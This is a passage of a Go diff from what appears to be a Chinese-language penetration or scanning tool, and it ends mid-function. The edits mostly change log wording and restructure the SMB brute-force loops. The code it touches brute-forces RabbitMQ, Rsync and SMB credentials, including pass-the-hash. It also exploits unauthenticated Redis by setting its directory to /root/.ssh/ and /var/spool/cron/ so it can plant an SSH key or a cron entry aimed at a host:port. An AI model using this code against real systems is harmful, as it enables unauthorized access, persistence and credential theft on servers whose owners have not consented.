result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v",
|
||||
result := fmt.Sprintf("RabbitMQ服务 %v:%v 连接成功 用户名: %v 密码: %v",
|
||||
info.Host, info.Ports, task.user, task.pass)
|
||||
Common.LogSuccess(result)
|
||||
resultChan <- nil
|
||||
@@ -94,7 +94,7 @@ func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("RabbitMQ服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -158,7 +158,7 @@ func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error)
|
||||
|
||||
// 如果成功连接
|
||||
if conn != nil {
|
||||
result := fmt.Sprintf("[+] RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
|
||||
result := fmt.Sprintf("RabbitMQ服务 %v:%v 爆破成功 用户名: %v 密码: %v", host, port, user, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
|
||||
+32
-32
@@ -90,7 +90,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Redis %v:%v %v %v",
|
||||
errlog := fmt.Sprintf("Redis %v:%v %v %v",
|
||||
info.Host, info.Ports, pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -126,7 +126,7 @@ func RedisScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return tmperr
|
||||
}
|
||||
|
||||
@@ -162,12 +162,12 @@ func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
|
||||
// 获取配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s %s", realhost, pass)
|
||||
result := fmt.Sprintf("Redis %s %s", realhost, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, err
|
||||
}
|
||||
|
||||
result := fmt.Sprintf("[+] Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||
result := fmt.Sprintf("Redis %s %s file:%s/%s", realhost, pass, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试利用
|
||||
@@ -186,28 +186,28 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
|
||||
// 建立TCP连接
|
||||
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis连接失败 %s: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 设置读取超时
|
||||
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 设置超时失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 发送info命令测试未授权访问
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 发送命令失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 读取响应
|
||||
reply, err := readreply(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 读取响应失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
|
||||
return flag, err
|
||||
}
|
||||
|
||||
@@ -217,19 +217,19 @@ func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
|
||||
// 获取Redis配置信息
|
||||
dbfilename, dir, err = getconfig(conn)
|
||||
if err != nil {
|
||||
result := fmt.Sprintf("[+] Redis %s 发现未授权访问", realhost)
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
|
||||
Common.LogSuccess(result)
|
||||
return flag, err
|
||||
}
|
||||
|
||||
// 输出详细信息
|
||||
result := fmt.Sprintf("[+] Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
|
||||
Common.LogSuccess(result)
|
||||
|
||||
// 尝试漏洞利用
|
||||
err = Expoilt(realhost, conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %s 漏洞利用失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -246,53 +246,53 @@ func Expoilt(realhost string, conn net.Conn) error {
|
||||
// 测试目录写入权限
|
||||
flagSsh, flagCron, err := testwrite(conn)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 测试写入权限失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
|
||||
return err
|
||||
}
|
||||
|
||||
// SSH密钥写入测试
|
||||
if flagSsh {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /root/.ssh/", realhost))
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost))
|
||||
|
||||
// 如果指定了密钥文件则尝试写入
|
||||
if Common.RedisFile != "" {
|
||||
writeok, text, err := writekey(conn, Common.RedisFile)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
|
||||
return err
|
||||
}
|
||||
|
||||
if writeok {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v SSH公钥写入成功", realhost))
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v SSH公钥写入失败: %v", realhost, text))
|
||||
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 定时任务写入测试
|
||||
if flagCron {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 可写入路径 /var/spool/cron/", realhost))
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost))
|
||||
|
||||
// 如果指定了shell命令则尝试写入定时任务
|
||||
if Common.RedisShell != "" {
|
||||
writeok, text, err := writecron(conn, Common.RedisShell)
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入错误: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
|
||||
return err
|
||||
}
|
||||
|
||||
if writeok {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] Redis %v 成功写入 /var/spool/cron/root", realhost))
|
||||
Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost))
|
||||
} else {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 定时任务写入失败: %v", realhost, text))
|
||||
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 恢复数据库配置
|
||||
if err = recoverdb(dbfilename, dir, conn); err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] Redis %v 恢复数据库失败: %v", realhost, err))
|
||||
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
|
||||
}
|
||||
|
||||
return err
|
||||
@@ -328,11 +328,11 @@ func writekey(conn net.Conn, filename string) (flag bool, text string, err error
|
||||
// 读取密钥文件
|
||||
key, err := Readfile(filename)
|
||||
if err != nil {
|
||||
text = fmt.Sprintf("[-] 读取密钥文件 %s 失败: %v", filename, err)
|
||||
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
|
||||
return flag, text, err
|
||||
}
|
||||
if len(key) == 0 {
|
||||
text = fmt.Sprintf("[-] 密钥文件 %s 为空", filename)
|
||||
text = fmt.Sprintf("密钥文件 %s 为空", filename)
|
||||
return flag, text, err
|
||||
}
|
||||
|
||||
@@ -414,7 +414,7 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
|
||||
// 解析目标主机地址
|
||||
target := strings.Split(host, ":")
|
||||
if len(target) < 2 {
|
||||
return flag, "[-] 主机地址格式错误", err
|
||||
return flag, "主机地址格式错误", err
|
||||
}
|
||||
scanIp, scanPort := target[0], target[1]
|
||||
|
||||
@@ -495,40 +495,40 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
|
||||
fmt.Println("[*] 正在测试 /root/.ssh/ 目录写入权限...")
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n"))
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 发送SSH目录测试命令失败: %v\n", err)
|
||||
fmt.Printf("发送SSH目录测试命令失败: %v\n", err)
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err := readreply(conn)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 读取SSH目录测试响应失败: %v\n", err)
|
||||
fmt.Printf("读取SSH目录测试响应失败: %v\n", err)
|
||||
return flag, flagCron, err
|
||||
}
|
||||
fmt.Printf("[*] SSH目录测试响应: %s\n", text)
|
||||
if strings.Contains(text, "OK") {
|
||||
flag = true
|
||||
fmt.Println("[+] SSH目录写入权限测试成功")
|
||||
fmt.Println("SSH目录写入权限测试成功")
|
||||
} else {
|
||||
fmt.Println("[-] SSH目录写入权限测试失败")
|
||||
fmt.Println("SSH目录写入权限测试失败")
|
||||
}
|
||||
|
||||
// 测试定时任务目录写入权限
|
||||
fmt.Println("[*] 正在测试 /var/spool/cron/ 目录写入权限...")
|
||||
_, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n"))
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 发送定时任务目录测试命令失败: %v\n", err)
|
||||
fmt.Printf("发送定时任务目录测试命令失败: %v\n", err)
|
||||
return flag, flagCron, err
|
||||
}
|
||||
text, err = readreply(conn)
|
||||
if err != nil {
|
||||
fmt.Printf("[-] 读取定时任务目录测试响应失败: %v\n", err)
|
||||
fmt.Printf("读取定时任务目录测试响应失败: %v\n", err)
|
||||
return flag, flagCron, err
|
||||
}
|
||||
fmt.Printf("[*] 定时任务目录测试响应: %s\n", text)
|
||||
if strings.Contains(text, "OK") {
|
||||
flagCron = true
|
||||
fmt.Println("[+] 定时任务目录写入权限测试成功")
|
||||
fmt.Println("定时任务目录写入权限测试成功")
|
||||
} else {
|
||||
fmt.Println("[-] 定时任务目录写入权限测试失败")
|
||||
fmt.Println("定时任务目录写入权限测试失败")
|
||||
}
|
||||
|
||||
fmt.Printf("[*] 写入权限测试完成 - SSH权限: %v, Cron权限: %v\n", flag, flagCron)
|
||||
|
||||
+3
-3
@@ -102,7 +102,7 @@ func RsyncScan(info *Common.HostInfo) (tmperr error) {
|
||||
|
||||
// 处理错误情况
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
errlog := fmt.Sprintf("Rsync服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v",
|
||||
info.Host, info.Ports, task.user, task.pass, err)
|
||||
Common.LogError(errlog)
|
||||
|
||||
@@ -242,7 +242,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
if strings.Contains(authResponse, "@RSYNCD: OK") {
|
||||
// 模块不需要认证
|
||||
if user == "" && pass == "" {
|
||||
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
|
||||
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 无需认证", host, port, moduleName)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
}
|
||||
@@ -264,7 +264,7 @@ func RsyncConn(info *Common.HostInfo, user string, pass string) (bool, error) {
|
||||
}
|
||||
|
||||
if !strings.Contains(string(buffer[:n]), "@ERROR") {
|
||||
result := fmt.Sprintf("[+] Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
|
||||
result := fmt.Sprintf("Rsync服务 %v:%v 模块:%v 认证成功 用户名: %v 密码: %v",
|
||||
host, port, moduleName, user, pass)
|
||||
Common.LogSuccess(result)
|
||||
return true, nil
|
||||
|
||||
+78
-61
@@ -15,67 +15,86 @@ func SmbScan(info *Common.HostInfo) (tmperr error) {
|
||||
}
|
||||
|
||||
threads := Common.BruteThreads
|
||||
totalTasks := len(Common.Userdict["smb"]) * len(Common.Passwords)
|
||||
|
||||
taskChan := make(chan struct {
|
||||
user string
|
||||
pass string
|
||||
}, totalTasks)
|
||||
|
||||
// 生成任务
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
taskChan <- struct {
|
||||
user string
|
||||
pass string
|
||||
}{user, pass}
|
||||
}
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
successChan := make(chan struct{}, 1)
|
||||
|
||||
// 启动工作线程
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for task := range taskChan {
|
||||
select {
|
||||
case <-successChan:
|
||||
return
|
||||
default:
|
||||
}
|
||||
// 按用户分组处理
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
taskChan := make(chan string, len(Common.Passwords))
|
||||
|
||||
success, err := doWithTimeOut(info, task.user, task.pass)
|
||||
if success {
|
||||
if Common.Domain != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v",
|
||||
info.Host, info.Ports, Common.Domain, task.user, task.pass))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("[+] SMB认证成功 %v:%v User:%v Pass:%v",
|
||||
info.Host, info.Ports, task.user, task.pass))
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.Replace(pass, "{user}", user, -1)
|
||||
taskChan <- pass
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func(username string) {
|
||||
defer wg.Done()
|
||||
for pass := range taskChan {
|
||||
select {
|
||||
case <-successChan:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
success, err := doWithTimeOut(info, username, pass)
|
||||
if success {
|
||||
if Common.Domain != "" {
|
||||
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s\\%s:%s",
|
||||
info.Host, info.Ports, Common.Domain, username, pass))
|
||||
} else {
|
||||
Common.LogSuccess(fmt.Sprintf("SMB认证成功 %s:%s %s:%s",
|
||||
info.Host, info.Ports, username, pass))
|
||||
}
|
||||
successChan <- struct{}{}
|
||||
|
||||
// 成功后等待确保日志打印完成
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
return
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("SMB认证失败 %s:%s %s:%s %v",
|
||||
info.Host, info.Ports, username, pass, err))
|
||||
|
||||
// 等待失败日志打印完成
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
if strings.Contains(err.Error(), "账号锁定") {
|
||||
for range taskChan {
|
||||
// 清空通道
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond) // 确保锁定日志打印完成
|
||||
return
|
||||
}
|
||||
}
|
||||
successChan <- struct{}{}
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
Common.LogError(fmt.Sprintf("[-] SMB认证失败 %v:%v User:%v Pass:%v Err:%v",
|
||||
info.Host, info.Ports, task.user, task.pass, err))
|
||||
}
|
||||
}
|
||||
}()
|
||||
}(user)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
select {
|
||||
case <-successChan:
|
||||
// 等待日志打印完成
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
Common.LogWG.Wait()
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
// 主函数结束前多等待一会
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
Common.LogWG.Wait()
|
||||
// 最后再等待一下,确保所有日志都打印完成
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
return nil
|
||||
}
|
||||
|
||||
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
flag = false
|
||||
|
||||
options := smb.Options{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
@@ -89,10 +108,9 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
if session.IsAuthenticated {
|
||||
flag = true
|
||||
return flag, nil
|
||||
return true, nil
|
||||
}
|
||||
return flag, fmt.Errorf("认证失败")
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
|
||||
// 清理错误信息中的换行符和多余空格
|
||||
@@ -100,24 +118,24 @@ func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struc
|
||||
if strings.Contains(errMsg, "NT Status Error") {
|
||||
switch {
|
||||
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
|
||||
err = fmt.Errorf("用户名或密码错误")
|
||||
err = fmt.Errorf("密码错误")
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
|
||||
err = fmt.Errorf("账号已锁定")
|
||||
err = fmt.Errorf("账号锁定")
|
||||
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
|
||||
err = fmt.Errorf("访问被拒绝")
|
||||
err = fmt.Errorf("拒绝访问")
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
|
||||
err = fmt.Errorf("账号已禁用")
|
||||
err = fmt.Errorf("账号禁用")
|
||||
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
|
||||
err = fmt.Errorf("密码已过期")
|
||||
err = fmt.Errorf("密码过期")
|
||||
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
|
||||
return flag, fmt.Errorf("会话已断开")
|
||||
return false, fmt.Errorf("会话断开")
|
||||
default:
|
||||
err = fmt.Errorf("认证失败") // 简化错误信息
|
||||
err = fmt.Errorf("认证失败")
|
||||
}
|
||||
}
|
||||
|
||||
signal <- struct{}{}
|
||||
return flag, err
|
||||
return false, err
|
||||
}
|
||||
|
||||
func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
@@ -142,7 +160,6 @@ func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool,
|
||||
case r := <-result:
|
||||
return r.success, r.err
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
// 尝试从result通道读取,避免协程泄露
|
||||
select {
|
||||
case r := <-result:
|
||||
return r.success, r.err
|
||||
|
||||
+144
-195
@@ -27,190 +27,155 @@ func SmbScan2(info *Common.HostInfo) (tmperr error) {
|
||||
return smbPasswordScan(info)
|
||||
}
|
||||
|
||||
// smbHashScan 使用哈希进行认证扫描
|
||||
func smbHashScan(info *Common.HostInfo) error {
|
||||
maxRetries := Common.MaxRetries
|
||||
threads := Common.BruteThreads
|
||||
hasprint := false
|
||||
|
||||
// 创建任务通道
|
||||
taskChan := make(chan struct {
|
||||
user string
|
||||
hash []byte
|
||||
}, len(Common.Userdict["smb"])*len(Common.HashBytes))
|
||||
|
||||
resultChan := make(chan error, threads)
|
||||
|
||||
// 生成所有用户名和哈希组合任务
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, hash := range Common.HashBytes {
|
||||
taskChan <- struct {
|
||||
user string
|
||||
hash []byte
|
||||
}{user, hash}
|
||||
}
|
||||
// smbPasswordScan 使用密码进行认证扫描
|
||||
func smbPasswordScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
threads := Common.BruteThreads
|
||||
|
||||
var wg sync.WaitGroup
|
||||
successChan := make(chan struct{}, 1)
|
||||
hasprint := false
|
||||
var hasPrintMutex sync.Mutex
|
||||
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
startTime := time.Now().Unix()
|
||||
// 改成按用户分组处理
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
// 为每个用户创建密码任务通道
|
||||
taskChan := make(chan string, len(Common.Passwords))
|
||||
|
||||
for task := range taskChan {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-startTime > int64(Common.Timeout) {
|
||||
resultChan <- fmt.Errorf("扫描超时")
|
||||
// 生成该用户的所有密码任务
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.ReplaceAll(pass, "{user}", user)
|
||||
taskChan <- pass
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func(username string) {
|
||||
defer wg.Done()
|
||||
|
||||
for pass := range taskChan {
|
||||
select {
|
||||
case <-successChan:
|
||||
return
|
||||
default:
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
// 执行SMB2认证
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
printed bool
|
||||
})
|
||||
|
||||
go func(user string, hash []byte) {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
|
||||
hasPrintMutex.Lock()
|
||||
currentHasPrint := hasprint
|
||||
hasPrintMutex.Unlock()
|
||||
|
||||
success, err, printed := Smb2Con(info, user, "", hash, currentHasPrint)
|
||||
success, err, printed := Smb2Con(info, username, pass, []byte{}, currentHasPrint)
|
||||
|
||||
if printed {
|
||||
hasPrintMutex.Lock()
|
||||
hasprint = true
|
||||
hasPrintMutex.Unlock()
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
done <- struct {
|
||||
success bool
|
||||
err error
|
||||
printed bool
|
||||
}{success, err, printed}
|
||||
}(task.user, task.hash)
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-done:
|
||||
if result.success {
|
||||
logSuccessfulAuth(info, task.user, "", task.hash)
|
||||
resultChan <- nil
|
||||
if success {
|
||||
logSuccessfulAuth(info, username, pass, []byte{})
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
successChan <- struct{}{}
|
||||
return
|
||||
}
|
||||
|
||||
if result.err != nil {
|
||||
logFailedAuth(info, task.user, "", task.hash, result.err)
|
||||
if err != nil {
|
||||
logFailedAuth(info, username, pass, []byte{}, err)
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(result.err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
resultChan <- result.err
|
||||
return
|
||||
// 检查是否账户锁定
|
||||
if strings.Contains(err.Error(), "user account has been automatically locked") {
|
||||
// 发现账户锁定,清空任务通道并返回
|
||||
for range taskChan {
|
||||
// 清空通道
|
||||
}
|
||||
continue // 继续重试
|
||||
return
|
||||
}
|
||||
|
||||
// 其他登录失败情况
|
||||
if strings.Contains(err.Error(), "LOGIN_FAILED") ||
|
||||
strings.Contains(err.Error(), "Authentication failed") ||
|
||||
strings.Contains(err.Error(), "attempted logon is invalid") ||
|
||||
strings.Contains(err.Error(), "bad username or authentication") {
|
||||
break
|
||||
}
|
||||
|
||||
if retryCount < Common.MaxRetries-1 {
|
||||
time.Sleep(time.Second * time.Duration(retryCount+2))
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
case <-time.After(time.Duration(Common.Timeout) * time.Second):
|
||||
logFailedAuth(info, task.user, "", task.hash, fmt.Errorf("连接超时"))
|
||||
break
|
||||
}
|
||||
|
||||
break // 如果不需要重试,跳出重试循环
|
||||
}
|
||||
}(user)
|
||||
}
|
||||
|
||||
if len(Common.HashValue) > 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
resultChan <- nil
|
||||
}()
|
||||
}
|
||||
wg.Wait() // 等待当前用户的所有密码尝试完成
|
||||
|
||||
// 等待所有线程完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 检查结果
|
||||
for err := range resultChan {
|
||||
if err != nil {
|
||||
if retryErr := Common.CheckErrs(err); retryErr != nil {
|
||||
return err
|
||||
}
|
||||
// 检查是否已经找到正确密码
|
||||
select {
|
||||
case <-successChan:
|
||||
return nil
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
return nil
|
||||
}
|
||||
|
||||
// smbPasswordScan 使用密码进行认证扫描
|
||||
func smbPasswordScan(info *Common.HostInfo) error {
|
||||
maxRetries := Common.MaxRetries
|
||||
threads := Common.BruteThreads
|
||||
hasprint := false
|
||||
|
||||
// 创建任务通道
|
||||
taskChan := make(chan struct {
|
||||
user string
|
||||
pass string
|
||||
}, len(Common.Userdict["smb"])*len(Common.Passwords))
|
||||
|
||||
resultChan := make(chan error, threads)
|
||||
|
||||
// 生成所有用户名密码组合任务
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
pass = strings.ReplaceAll(pass, "{user}", user)
|
||||
taskChan <- struct {
|
||||
user string
|
||||
pass string
|
||||
}{user, pass}
|
||||
}
|
||||
func smbHashScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
threads := Common.BruteThreads
|
||||
var wg sync.WaitGroup
|
||||
successChan := make(chan struct{}, 1)
|
||||
hasprint := false
|
||||
var hasPrintMutex sync.Mutex
|
||||
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
startTime := time.Now().Unix()
|
||||
// 按用户分组处理
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
// 为每个用户创建hash任务通道
|
||||
taskChan := make(chan []byte, len(Common.HashBytes))
|
||||
|
||||
for task := range taskChan {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < maxRetries; retryCount++ {
|
||||
// 检查是否超时
|
||||
if time.Now().Unix()-startTime > int64(Common.Timeout) {
|
||||
resultChan <- fmt.Errorf("扫描超时")
|
||||
// 生成该用户的所有hash任务
|
||||
for _, hash := range Common.HashBytes {
|
||||
taskChan <- hash
|
||||
}
|
||||
close(taskChan)
|
||||
|
||||
// 启动工作线程
|
||||
for i := 0; i < threads; i++ {
|
||||
wg.Add(1)
|
||||
go func(username string) {
|
||||
defer wg.Done()
|
||||
|
||||
for hash := range taskChan {
|
||||
select {
|
||||
case <-successChan:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
// 执行SMB2认证
|
||||
done := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
printed bool
|
||||
})
|
||||
|
||||
go func(user, pass string) {
|
||||
// 重试循环
|
||||
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
|
||||
hasPrintMutex.Lock()
|
||||
currentHasPrint := hasprint
|
||||
hasPrintMutex.Unlock()
|
||||
|
||||
success, err, printed := Smb2Con(info, user, pass, []byte{}, currentHasPrint)
|
||||
success, err, printed := Smb2Con(info, username, "", hash, currentHasPrint)
|
||||
|
||||
if printed {
|
||||
hasPrintMutex.Lock()
|
||||
@@ -218,62 +183,50 @@ func smbPasswordScan(info *Common.HostInfo) error {
|
||||
hasPrintMutex.Unlock()
|
||||
}
|
||||
|
||||
done <- struct {
|
||||
success bool
|
||||
err error
|
||||
printed bool
|
||||
}{success, err, printed}
|
||||
}(task.user, task.pass)
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-done:
|
||||
if result.success {
|
||||
logSuccessfulAuth(info, task.user, task.pass, []byte{})
|
||||
resultChan <- nil
|
||||
if success {
|
||||
logSuccessfulAuth(info, username, "", hash)
|
||||
successChan <- struct{}{}
|
||||
return
|
||||
}
|
||||
|
||||
if result.err != nil {
|
||||
logFailedAuth(info, task.user, task.pass, []byte{}, result.err)
|
||||
if err != nil {
|
||||
logFailedAuth(info, username, "", hash, err)
|
||||
|
||||
// 检查是否需要重试
|
||||
if retryErr := Common.CheckErrs(result.err); retryErr != nil {
|
||||
if retryCount == maxRetries-1 {
|
||||
resultChan <- result.err
|
||||
return
|
||||
// 检查是否账户锁定
|
||||
if strings.Contains(err.Error(), "user account has been automatically locked") {
|
||||
// 发现账户锁定,清空任务通道并返回
|
||||
for range taskChan {
